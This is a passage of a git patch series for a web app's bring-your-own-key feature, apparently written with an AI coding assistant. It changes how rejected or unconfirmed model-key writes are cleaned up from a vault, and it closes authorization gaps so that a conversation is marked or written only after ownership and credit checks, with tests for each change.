b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -59,6 +59,8 @@ function harness() { let loseLockOnPut = false; let loseLockOnCheck = false; let loseLockOnList = false; + /** `delete` answers plane_unavailable while true. */ + let deleteDown = false; /** How the next put fails, if it does: `definite` stored nothing, `uncertain` may have. */ let putFailure: 'definite' | 'uncertain' | null = null; const revoked: string[] = []; @@ -142,6 +144,7 @@ function harness() { return { ok: true } as never; }, delete: async ({ ref }) => { + if (deleteDown) return { ok: false, reason: 'plane_unavailable' } as never; deleted.push(ref.accountId); return { ok: true } as never; }, @@ -202,6 +205,9 @@ function harness() { loseLockOnNextList: () => { loseLockOnList = true; }, + setDeleteDown: (down: boolean) => { + deleteDown = down; + }, failPuts: (how: 'definite' | 'uncertain') => { putFailure = how; }, @@ -293,13 +299,25 @@ describe('setModelKey / removeModelKey', () => { expect({ saved, active: h.active() }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [] }); }); - it('given a key OpenRouter rejects that the plane cannot revoke right now, should still never make it the person\'s key', async () => { + it('given a key OpenRouter rejects that the plane cannot delete right now, should never make it the person\'s key and leave no row behind (the orphan sweep erases its material)', async () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); h.setKeyCheckStatus(401); - h.setRevokeDown(true); + h.setDeleteDown(true); const rejected = await h.authority.setModelKey({ actor, apiKey: keyB }); - expect({ rejected, active: h.active() }).toEqual({ rejected: { ok: false, reason: 'key_rejected' }, active: [(first as Extract).account?.id] }); + expect({ rejected, active: h.active(), rejectedRowKept: h.rows.has('acct_2') }).toEqual({ + rejected: { ok: false, reason: 'key_rejected' }, + active: [(first as Extract).account?.id], + rejectedRowKept: false, + }); + }); + + it('given an uncertain write to the plane, should keep no row, so whatever reached the vault is the orphan sweep\'s to erase', async () => { + const h = harness(); + h.failPuts('uncertain'); + h.setDeleteDown(true); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, rows: h.rows.size }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0 }); }); it('given a previous key the plane cannot revoke, should report the new key stored and the previous one still active, and retire it on the next removal', async () => { diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 12bf75aa53..6bfe14f3b0 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -575,13 +575,15 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth } /** - * A save that lost its lock after the key reached the plane: the key is taken out of the vault (deleted, or revoked - * once versioned) and the row revoked, so neither a stale row nor stored material outlives it — the orphan sweep - * only reaps material whose row is gone. Falls back to revoking the row alone when the plane cannot be reached. + * A key a save gives up on (it lost its lock, OpenRouter rejected it, or the plane's answer to its write was + * uncertain) never became the person's key, so nothing of it is kept: its material is deleted from the vault and its + * row removed. If the plane cannot delete it now, the row is removed anyway — a ref with no row is exactly what the + * plane's orphan sweep erases, on every pass until it succeeds — so the material never outlives the save. */ - async function abandonModelKey(row: AgentAccountRecord): Promise { - if (!(await retire(row))) await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); - return { ok: false, reason: 'conflict' }; + async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult): Promise { + await deps.plane.delete({ ref: refOf(row) }).catch(() => undefined); + await deps.accounts.remove(row.id); + return result; } /** `setModelKey` under the person's model-key lock: store, activate and check the new key, then retire the ones it supersedes. */ @@ -609,16 +611,16 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth consenters: { kind: 'owner' }, }); if (!put.ok) { - // As createAccount: only a definite refusal stored nothing. An uncertain one keeps the row (revoked, so it - // is never used) for the plane's orphan sweep to reconcile, rather than orphaning material in the vault. + // Only a definite refusal stored nothing. An uncertain one may have: the key is abandoned, so whatever reached + // the vault is deleted now or by the orphan sweep (its row is gone). const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; - if (definite) await deps.accounts.remove(row.id); - else await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); - return { ok: false, reason: definite ? 'store_refused' : 'plane_unavailable' }; + if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }); + await deps.accounts.remove(row.id); + return { ok: false, reason: 'store_refused' }; } // Exclusion is gone (the lock's connection died while the key was being stored): a removal may have run since, so - // the key is never activated. It is revoked here, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(row); + // the key is never activated, and the person saves again. + if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }); await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); @@ -630,14 +632,12 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth const status = checked.ok ? checked.response.status : null; if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); if (status === 401 || status === 403) { - // A key OpenRouter refused must never become the person's key, even if the plane cannot revoke it right now: - // the row is revoked here, so no call resolves it, and the plane's orphan sweep reconciles the material. - if (!(await retire(stored))) await deps.accounts.markRevoked({ id: stored.id, at: deps.now() }); - return { ok: false, reason: 'key_rejected' }; + // A key OpenRouter refused never becomes the person's key: it is abandoned (deleted now, or by the orphan sweep). + return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }); } // Exclusion lost during the check (the key check is a network call): a removal may have run meanwhile, so the new // key does not stay active. It is revoked, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(stored); + if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }); // A previous key that could not be revoked stays active, so the next save or removal retries it; the result // says so rather than reporting a clean replacement. let allRetired = true; From a44edc8530cf0bc288c6a9772f25661a7ffef321 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 01:14:45 -0600 Subject: [PATCH 23/35] fix(byok): a turn marks its conversation only after ownership and the credit gate A chat turn wrote the managed mark at its key decision, before the global turn checked that the conversation was the caller's: anyone could mark another person's conversation by id and keep it off its owner's key. decideTurnKey now only decides; markManagedTurn marks once the conversation is proved the caller's (resolveOrCreateConversation, or the page turn's vetting and ensured row) and the gate admitted the turn, and still before the turn saves anything. A refused or foreign request marks nothing. Tests: a foreign conversation id (404) and a credit refusal (402) mark nothing; deciding alone marks nothing. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../messages/__tests__/credit-gate.test.ts | 9 ++++++++ .../chat-pipeline/__tests__/turn-key.test.ts | 22 ++++++++++++------- .../lib/ai/chat-pipeline/global-chat-turn.ts | 11 ++++++---- .../lib/ai/chat-pipeline/page-chat-turn.ts | 6 +++-- apps/web/src/lib/ai/chat-pipeline/turn-key.ts | 20 ++++++++++++----- 5 files changed, 48 insertions(+), 20 deletions(-) diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts index 7595927d0e..dfcecaa6f8 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts @@ -733,6 +733,15 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', expect([response.status, ((await response.json()) as { code: string }).code, vi.mocked(createAIProvider).mock.calls.length]).toEqual([409, 'byok_key_mismatch', 0]); }); + it('a managed turn on someone else\'s conversation id, or one the credit gate refuses, marks nothing', async () => { + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + vi.mocked(resolveOrCreateConversation).mockRejectedValueOnce(new ConversationOwnershipError()); + const foreign = await POST(makeRequest(), makeContext()); + vi.mocked(canConsumeAI).mockResolvedValueOnce({ allowed: false, reason: 'out_of_credits' }); + const refused = await POST(makeRequest(), makeContext()); + expect([foreign.status, refused.status, vi.mocked(markManagedConversation).mock.calls.length]).toEqual([404, 402, 0]); + }); + it('a managed turn is gated and billed as managed', async () => { await POST(makeRequest(), makeContext()); await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() }); diff --git a/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts b/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts index 587ba79f0d..855ef46edf 100644 --- a/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts +++ b/apps/web/src/lib/ai/chat-pipeline/__tests__/turn-key.test.ts @@ -8,7 +8,7 @@ import { describe, expect, it, vi, beforeEach } from 'vitest'; const { mockMark } = vi.hoisted(() => ({ mockMark: vi.fn(async (_conversationId: unknown) => undefined) })); vi.mock('@/lib/ai/core/model-key-source', () => ({ markManagedConversation: mockMark })); -import { decideTurnKey } from '../turn-key'; +import { decideTurnKey, markManagedTurn } from '../turn-key'; const decided = (source: 'managed' | 'user_key' | 'refused') => vi.fn(async () => (source === 'refused' ? { source, reason: 'byok_unavailable' as const } : { source })); @@ -17,22 +17,28 @@ describe('decideTurnKey', () => { it('given a solo /help, should decide nothing and mark nothing', async () => { const resolve = decided('user_key'); - expect([await decideTurnKey({ soloHelp: true, callerKeySource: 'user_key', conversationId: 'c1', resolve }), resolve.mock.calls.length, mockMark.mock.calls.length]).toEqual([{ source: 'managed' }, 0, 0]); + const turnKey = await decideTurnKey({ soloHelp: true, callerKeySource: 'user_key', resolve }); + await markManagedTurn(turnKey as { source: 'managed'; runsModel: boolean }, 'c1'); + expect([turnKey, resolve.mock.calls.length, mockMark.mock.calls.length]).toEqual([{ source: 'managed', runsModel: false }, 0, 0]); }); - it('given a worker dispatched from a run on PageSpace\'s key, should stay managed without asking, and mark the conversation', async () => { + it('given a worker dispatched from a run on PageSpace\'s key, should stay managed without asking; deciding marks nothing until the turn marks it', async () => { const resolve = decided('user_key'); - expect([await decideTurnKey({ soloHelp: false, callerKeySource: 'managed', conversationId: 'c1', resolve }), resolve.mock.calls.length, mockMark.mock.calls]).toEqual([{ source: 'managed' }, 0, [['c1']]]); + const turnKey = await decideTurnKey({ soloHelp: false, callerKeySource: 'managed', resolve }); + const markedWhenDecided = mockMark.mock.calls.length; + await markManagedTurn(turnKey as { source: 'managed'; runsModel: boolean }, 'c1'); + expect([turnKey, resolve.mock.calls.length, markedWhenDecided, mockMark.mock.calls]).toEqual([{ source: 'managed', runsModel: true }, 0, 0, [['c1']]]); }); it('given a worker dispatched from a run on the person\'s key that would land on PageSpace\'s, should refuse it 409', async () => { - const result = await decideTurnKey({ soloHelp: false, callerKeySource: 'user_key', conversationId: 'c1', resolve: decided('managed') }); + const result = await decideTurnKey({ soloHelp: false, callerKeySource: 'user_key', resolve: decided('managed') }); expect('refusal' in result ? result.refusal.status : null).toBe(409); }); it('given the person\'s key unusable, should refuse 503; given their key, should run on it unmarked', async () => { - const refused = await decideTurnKey({ soloHelp: false, callerKeySource: undefined, conversationId: 'c1', resolve: decided('refused') }); - const own = await decideTurnKey({ soloHelp: false, callerKeySource: 'user_key', conversationId: 'c1', resolve: decided('user_key') }); - expect(['refusal' in refused ? refused.refusal.status : null, own, mockMark.mock.calls.length]).toEqual([503, { source: 'user_key' }, 0]); + const refused = await decideTurnKey({ soloHelp: false, callerKeySource: undefined, resolve: decided('refused') }); + const own = await decideTurnKey({ soloHelp: false, callerKeySource: 'user_key', resolve: decided('user_key') }); + await markManagedTurn(own as { source: 'user_key'; runsModel: boolean }, 'c1'); + expect(['refusal' in refused ? refused.refusal.status : null, own, mockMark.mock.calls.length]).toEqual([503, { source: 'user_key', runsModel: true }, 0]); }); }); diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts index af5c55a8b5..cd2cb59863 100644 --- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts @@ -36,7 +36,7 @@ import { UNGATED_TURN_CREDIT, personalTurnTiers, turnCreditAfterGate, type TurnC import { writeTurnPreamble } from './turn-preamble'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; -import { decideTurnKey } from './turn-key'; +import { decideTurnKey, markManagedTurn } from './turn-key'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; import { creditGateErrorResponse } from '@/lib/subscription/credit-gate-response'; @@ -411,6 +411,7 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise> = { source: 'managed', runsModel: false }; let gatePair: { provider: string; model: string } | null = null; { const [gateUser] = await db @@ -446,14 +447,13 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise resolveModelKeySource({ userId, provider: gateProvider, driveId: locationContext?.currentDrive?.id ?? null, conversationId }), }); if ('refusal' in turnKey) return turnKey.refusal; - assistantKey = turnKey; + assistantKey = { source: turnKey.source }; assistantKeySource = assistantKey.source; if (!isMeteringExempt(gateProvider) && assistantKeySource !== 'user_key' && !isSoloHelpRequest) { const creditGate = await canConsumeAI(userId, personalTurnTiers(gateUser?.subscriptionTier).gate, { @@ -499,6 +499,9 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise resolveModelKeySource({ userId: userId!, provider: gateProvider, driveId: page.driveId, contentDriveIds: memberContextDriveIds, conversationId }), }); if ('refusal' in keyDecision) return keyDecision.refusal; @@ -897,6 +896,9 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise Promise; -}): Promise<{ readonly source: ModelKeySource } | { readonly refusal: NextResponse }> { - if (input.soloHelp) return { source: 'managed' }; +}): Promise { + if (input.soloHelp) return { source: 'managed', runsModel: false }; const decision: ModelKeyDecision = input.callerKeySource === 'managed' ? { source: 'managed' } : await input.resolve(); if (decision.source === 'refused') return { refusal: createByokUnavailableResponse() }; if (input.callerKeySource === 'user_key' && decision.source !== 'user_key') return { refusal: createByokKeyMismatchResponse() }; - if (decision.source === 'managed') await markManagedConversation(input.conversationId); - return { source: decision.source }; + return { source: decision.source, runsModel: true }; +} + +/** Mark a managed turn's conversation (I10): after its ownership and credit gate, before it saves anything. */ +export async function markManagedTurn(turnKey: TurnKey, conversationId: string | null | undefined): Promise { + if (turnKey.runsModel && turnKey.source === 'managed') await markManagedConversation(conversationId); } From 68e94006f79f5880e496170e476cc1d79d8e0e68 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 01:30:05 -0600 Subject: [PATCH 24/35] fix(byok): consult marks before saving its question; a raced page row is re-authorized before its mark Consult saved the question (which may carry an org's context) before the provider factory wrote the managed mark, so a side question could read it unmarked. It now marks once the conversation is checked and the gate admitted the call, before the save. A page turn whose unused conversation id was created by another request in between (the create answers `exists`) re-reads and authorizes the row before marking it, so someone else's private conversation is never marked from this turn. Tests: consult marks after the gate and before the save, and a refusal marks nothing; a raced row owned by someone else is not marked, the caller's own is. Both fail without the fix. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../conversation-page-binding.test.ts | 22 +++++++++++++++++++ .../consult/__tests__/credit-gate.test.ts | 12 ++++++++++ .../app/api/ai/page-agents/consult/route.ts | 6 ++++- .../lib/ai/chat-pipeline/page-chat-turn.ts | 13 ++++++++--- 4 files changed, 49 insertions(+), 4 deletions(-) diff --git a/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts b/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts index 655df13651..fd41dfe850 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts @@ -229,6 +229,7 @@ vi.mock('ai', () => ({ vi.mock('@paralleldrive/cuid2', () => ({ createId: vi.fn().mockReturnValue('generated_id'), init: vi.fn(() => vi.fn(() => 'test-cuid')), + isCuid: (id: string) => /^[a-z][a-z0-9]{23}$/.test(id), })); vi.mock('@/lib/logging/mask', () => ({ maskIdentifier: vi.fn((id: string) => `***${id.slice(-3)}`) })); @@ -430,6 +431,27 @@ describe('POST /api/ai/chat - a conversation must belong to the page it is sent }); }); + describe('BYOK (ADR 0009 I10): a managed turn marks only a conversation the caller may write', () => { + // An unused id passes the first check; another request creates its row before this turn's create, which then + // answers `exists`. The row is authorized again before the mark: someone else's private row is never marked. + const FRESH = 'tz4a98xxat96iws9zmbrgj3a'; + const raced = (row: Record) => { + vi.mocked(conversationRepository.getConversation) + .mockResolvedValueOnce(null) + .mockResolvedValueOnce(conversationRow({ id: FRESH, ...row }) as never); + }; + + it('given an id another person\'s request created in between, should not mark it; given the caller\'s own, should', async () => { + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + raced({ userId: VICTIM, type: 'page', contextId: THIS_PAGE, isShared: false }); + await POST(post(FRESH)); + const markedForeign = vi.mocked(markManagedConversation).mock.calls.length; + raced({ userId: ATTACKER, type: 'page', contextId: THIS_PAGE }); + await POST(post(FRESH)); + expect([markedForeign, vi.mocked(markManagedConversation).mock.calls]).toEqual([0, [[FRESH]]]); + }); + }); + describe('legacy type=page rows with a NULL contextId', () => { it('still lets the OWNER write to their own historically-unset row', async () => { // `conversations_page_context_present_chk` shipped NOT VALID, so these diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts index e2db67b7b3..e99902dca8 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts @@ -311,6 +311,18 @@ describe('POST /api/ai/page-agents/consult — prepaid credit gate', () => { vi.mocked(isModelAllowedForTier).mockImplementation(() => true); }); + it('BYOK (ADR 0009 I10) a managed consult marks its conversation after the gate and before its question is saved; a refused one marks nothing', async () => { + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + const { messageRepository } = await import('@/lib/repositories/message-repository'); + vi.mocked(canConsumeAI).mockResolvedValueOnce({ allowed: false, reason: 'out_of_credits' }); + await POST(makeRequest()); + const markedWhenRefused = vi.mocked(markManagedConversation).mock.calls.length; + await POST(makeRequest()); + const [markOrder] = vi.mocked(markManagedConversation).mock.invocationCallOrder; + const [saveOrder] = vi.mocked(messageRepository.savePageMessage).mock.invocationCallOrder; + expect([markedWhenRefused, vi.mocked(markManagedConversation).mock.calls.length, markOrder < saveOrder]).toEqual([0, 1, true]); + }); + it('does not block with a 402 when the gate allows', async () => { vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'ok' }); diff --git a/apps/web/src/app/api/ai/page-agents/consult/route.ts b/apps/web/src/app/api/ai/page-agents/consult/route.ts index ca44861e1a..266eaf50eb 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/route.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/route.ts @@ -13,7 +13,7 @@ const AUTH_OPTIONS = { allow: ['session', 'mcp'] as const, requireCSRF: true }; /** The repository-wide id contract: what `createId()` (cuid2) produces. */ const CUID2_PATTERN = /^[a-z][a-z0-9]{1,31}$/; import { createAIProvider, isProviderError, type ProviderRequest } from '@/lib/ai/core/provider-factory'; -import { resolveModelKeySource, type ModelKeyDecision } from '@/lib/ai/core/model-key-source'; +import { markManagedConversation, resolveModelKeySource, type ModelKeyDecision } from '@/lib/ai/core/model-key-source'; import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { toolModelContext } from '@/lib/ai/core/tool-model-context'; import { pageSpaceTools } from '@/lib/ai/core/ai-tools'; @@ -577,6 +577,10 @@ export async function POST(request: Request) { content: consultationMessage }); + // BYOK (ADR 0009 I10): the conversation is the caller's (checked above) and the gate admitted the call: a managed + // consult marks it now, before its question (which may carry an org's context) is saved. + if (keyDecision.source === 'managed') await markManagedConversation(activeConversationId); + // Persist the question immediately so it survives even if generation fails below. const userMessageId = createId(); await messageRepository.savePageMessage({ diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index eef5e9762e..ac5cc87946 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -871,8 +871,10 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise row !== null && authorizePageConversation(row, { userId: userId!, pageId: chatId! }).allowed); + if (conversationIsCallers) await markManagedTurn(keyDecision, conversationId); // Save user's message immediately to database (database-first approach) const userMessage = messages[messages.length - 1]; // Last message is the new user message From eef4660ec3d91a33cf2b791c3a0610de4288f415 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 02:00:30 -0600 Subject: [PATCH 25/35] fix(byok): refuse a raced page conversation; keep an unconfirmed key write's row as its cleanup reference Page turn: an id the caller named that had no row, created by another request before this turn's create (`exists`), is authorized as the initial vetting would have. When the caller may not write it, the turn is refused (403) before any save, mark or model call, rather than only going unmarked. A conversation whose messages are someone else's is never marked. Model key: a write the plane did not confirm may leave material in the vault with no plane metadata, which the orphan sweep cannot see. When its cleanup delete also fails, its never-activated row (credentialVersion 0: no call uses it, Settings does not show it) now stays as the reference to it, and the next save or removal retires it, deleting it from the plane. A write the plane committed still drops its row, so the sweep reaps it. Tests: the raced foreign row is refused with no save, mark, provider or model call; the caller's own raced row is marked. An uncertain write whose delete fails is erased at the next removal, and at the next save. Each fails without its fix. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../conversation-page-binding.test.ts | 21 +++++++++--- .../lib/ai/chat-pipeline/page-chat-turn.ts | 25 ++++++++------ .../__tests__/model-key-authority.test.ts | 34 +++++++++++++++++-- .../account-authority-executor.ts | 24 ++++++++----- 4 files changed, 78 insertions(+), 26 deletions(-) diff --git a/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts b/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts index fd41dfe850..d6c7f55468 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts @@ -441,14 +441,27 @@ describe('POST /api/ai/chat - a conversation must belong to the page it is sent .mockResolvedValueOnce(conversationRow({ id: FRESH, ...row }) as never); }; - it('given an id another person\'s request created in between, should not mark it; given the caller\'s own, should', async () => { + it('given an id another person\'s request created in between, should refuse before saving, marking or running a model', async () => { const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); + const { createAIProvider } = await import('@/lib/ai/core/provider-factory'); + const { messageRepository } = await import('@/lib/repositories/message-repository'); + const save = vi.spyOn(messageRepository, 'savePageMessage'); raced({ userId: VICTIM, type: 'page', contextId: THIS_PAGE, isShared: false }); - await POST(post(FRESH)); - const markedForeign = vi.mocked(markManagedConversation).mock.calls.length; + const response = await POST(post(FRESH)); + expect({ + status: response.status, + marked: vi.mocked(markManagedConversation).mock.calls.length, + saved: save.mock.calls.length, + provider: vi.mocked(createAIProvider).mock.calls.length, + model: vi.mocked(streamText).mock.calls.length, + }).toEqual({ status: 403, marked: 0, saved: 0, provider: 0, model: 0 }); + }); + + it('given the caller\'s own conversation created in between (another of their tabs), should mark it and go on', async () => { + const { markManagedConversation } = await import('@/lib/ai/core/model-key-source'); raced({ userId: ATTACKER, type: 'page', contextId: THIS_PAGE }); await POST(post(FRESH)); - expect([markedForeign, vi.mocked(markManagedConversation).mock.calls]).toEqual([0, [[FRESH]]]); + expect(vi.mocked(markManagedConversation).mock.calls).toEqual([[FRESH]]); }); }); diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index ac5cc87946..c8f46d469d 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -871,10 +871,10 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise> | null = null; try { const created = await conversationRepository.createConversation(conversationId, userId!, chatId); - conversationCreated = created === 'created'; + createOutcome = created; if (created === 'message_owner_conflict') { loggers.ai.warn('AI Chat API: conversation id already owned by another user\'s messages', { conversationId, @@ -898,14 +898,19 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise row !== null && authorizePageConversation(row, { userId: userId!, pageId: chatId! }).allowed); - if (conversationIsCallers) await markManagedTurn(keyDecision, conversationId); + // An id the caller named that had no row, which another request created in between (this turn's create answered + // `exists`), is authorized now as the vetting above would have: the caller never appends to, or marks, a + // conversation they may not write. + if (requestConversationId && existingConversation === null && createOutcome === 'exists') { + const raced = await conversationRepository.getConversation(conversationId); + if (raced === null || !authorizePageConversation(raced, { userId: userId!, pageId: chatId! }).allowed) { + loggers.ai.warn('AI Chat API: rejected a conversation another request created first', { userId, conversationId }); + return NextResponse.json({ error: 'Forbidden' }, { status: 403 }); + } + } + // BYOK (ADR 0009 I10): the gate admitted the turn and the caller may write the conversation: a managed turn marks + // it before its message is saved. A conversation whose messages are someone else's is never marked. + if (createOutcome !== 'message_owner_conflict') await markManagedTurn(keyDecision, conversationId); // Save user's message immediately to database (database-first approach) const userMessage = messages[messages.length - 1]; // Last message is the new user message diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 577938feac..2fc66c49fa 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -208,7 +208,7 @@ function harness() { setDeleteDown: (down: boolean) => { deleteDown = down; }, - failPuts: (how: 'definite' | 'uncertain') => { + failPuts: (how: 'definite' | 'uncertain' | null) => { putFailure = how; }, }; @@ -312,12 +312,40 @@ describe('setModelKey / removeModelKey', () => { }); }); - it('given an uncertain write to the plane, should keep no row, so whatever reached the vault is the orphan sweep\'s to erase', async () => { + it('given an uncertain write to the plane, should delete whatever reached the vault and keep no row', async () => { + const h = harness(); + h.failPuts('uncertain'); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, rows: h.rows.size, deleted: h.deleted }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0, deleted: ['acct_1'] }); + }); + + it('given an uncertain write the plane cannot delete right now, should keep its inactive row as the reference, and erase it at the next removal', async () => { + // The vault may hold the material with no plane metadata, which the orphan sweep cannot see: the row is what finds it. const h = harness(); h.failPuts('uncertain'); h.setDeleteDown(true); const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); - expect({ saved, rows: h.rows.size }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0 }); + const kept = { rows: [...h.rows.keys()], active: h.active(), shown: await h.authority.getModelKey({ actor }) }; + h.setDeleteDown(false); + const removed = await h.authority.removeModelKey({ actor }); + expect({ saved, kept, removed, deleted: h.deleted, live: [...h.rows.values()].filter((row) => row.status === 'active').length }).toEqual({ + saved: { ok: false, reason: 'plane_unavailable' }, + kept: { rows: ['acct_1'], active: [], shown: null }, + removed: { ok: true, account: null }, + deleted: ['acct_1'], + live: 0, + }); + }); + + it('given an uncertain write the plane cannot delete right now, should erase it when the person saves again', async () => { + const h = harness(); + h.failPuts('uncertain'); + h.setDeleteDown(true); + await h.authority.setModelKey({ actor, apiKey: keyA }); + h.failPuts(null); + h.setDeleteDown(false); + const saved = await h.authority.setModelKey({ actor, apiKey: keyB }); + expect({ saved: saved.ok, deleted: h.deleted, active: h.active() }).toEqual({ saved: true, deleted: ['acct_1'], active: ['acct_2'] }); }); it('given a previous key the plane cannot revoke, should report the new key stored and the previous one still active, and retire it on the next removal', async () => { diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 6bfe14f3b0..02be0cebad 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -576,12 +576,18 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth /** * A key a save gives up on (it lost its lock, OpenRouter rejected it, or the plane's answer to its write was - * uncertain) never became the person's key, so nothing of it is kept: its material is deleted from the vault and its - * row removed. If the plane cannot delete it now, the row is removed anyway — a ref with no row is exactly what the - * plane's orphan sweep erases, on every pass until it succeeds — so the material never outlives the save. + * uncertain) never becomes the person's key: its material is deleted from the vault and its row removed. If the + * plane cannot delete it now: + * - a write the plane committed (`stored`) has plane metadata, so its row is removed anyway: a ref with no row is + * what the orphan sweep erases, on every pass until it succeeds; + * - a write the plane did not confirm may have left material with no metadata, which the sweep cannot see, so its + * never-activated row stays as the reference to it, and the next save or removal retires it. */ - async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult): Promise { - await deps.plane.delete({ ref: refOf(row) }).catch(() => undefined); + async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult, { stored }: { readonly stored: boolean }): Promise { + const deleted = await deps.plane.delete({ ref: refOf(row) }).catch(() => null); + const gone = deleted !== null && (deleted.ok || 